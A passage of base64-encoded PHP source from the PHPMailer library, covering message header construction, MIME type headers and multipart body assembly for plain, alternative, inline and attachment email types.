x0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAg